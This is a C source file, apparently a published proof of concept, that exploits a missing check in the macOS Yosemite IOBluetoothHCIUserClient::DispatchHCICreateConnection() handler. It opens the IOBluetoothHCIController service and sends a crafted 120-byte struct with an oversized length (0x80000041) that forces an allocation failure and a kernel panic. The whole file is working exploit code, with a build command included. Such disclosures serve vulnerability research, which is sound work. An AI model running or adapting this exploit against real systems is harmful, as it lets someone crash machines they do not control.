/*
* crash-issue1.c: Written for Mac OS X Yosemite (10.10) by @rpaleari and @joystick.
*
* Exploits a missing check in
* IOBluetoothHCIUserClient::DispatchHCICreateConnection() causing a panic.
*
* gcc -Wall -o crash-issue1{,.c} -framework IOKit
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mach/mach.h>
#include <mach/vm_map.h>
#include <IOKit/IOKitLib.h>
#define SIZE 0x1000
struct
BluetoothCall {
uint64_t args[7];
uint64_t sizes[7];
uint64_t index;
};
int
main(
void
) {
/* Finding vuln service */
io_service_t service =
IOServiceGetMatchingService(kIOMasterPortDefault,
IOServiceMatching(
"IOBluetoothHCIController"
));
if
(!service) {
return
-1;
}
/* Connect to vuln service */
io_connect_t port = (io_connect_t) 0;
kern_return_t kr = IOServiceOpen(service, mach_task_self(), 0, &port);
IOObjectRelease(service);
if
(kr != kIOReturnSuccess) {
return
kr;
}
printf
(
" [+] Opened connection to service on port: %d\n"
, port);
struct
BluetoothCall a;
int
i;
for
(i=0; i<7; i++) {
a.args[i] = (uint64_t)
calloc
(SIZE,
sizeof
(
char
));
a.sizes[i] = SIZE;
}
/* This value causes IOMalloc() to fail */
a.args[6] = 0x0;
a.sizes[6] = 0x80000041;
a.index = 0x06;
/* DispatchHCICreateConnection() */
for
(i = 0; i < 120; i++) {
if
(i % 8 == 0)
printf
(
"\n"
);
printf
(
"\\x%02x"
, ((unsigned
char
*)&a)[i]);
}
printf
(
"\n"
);
kr = IOConnectCallMethod((mach_port_t) port,
/* Connection */
(uint32_t) 0,
/* Selector */
NULL, 0,
/* input, inputCnt */
(
const
void
*) &a,
/* inputStruct */
120,
/* inputStructCnt */
NULL, NULL, NULL, NULL);
/* Output stuff */
printf
(
"kr: %08x\n"
, kr);
return
IOServiceClose(port);
}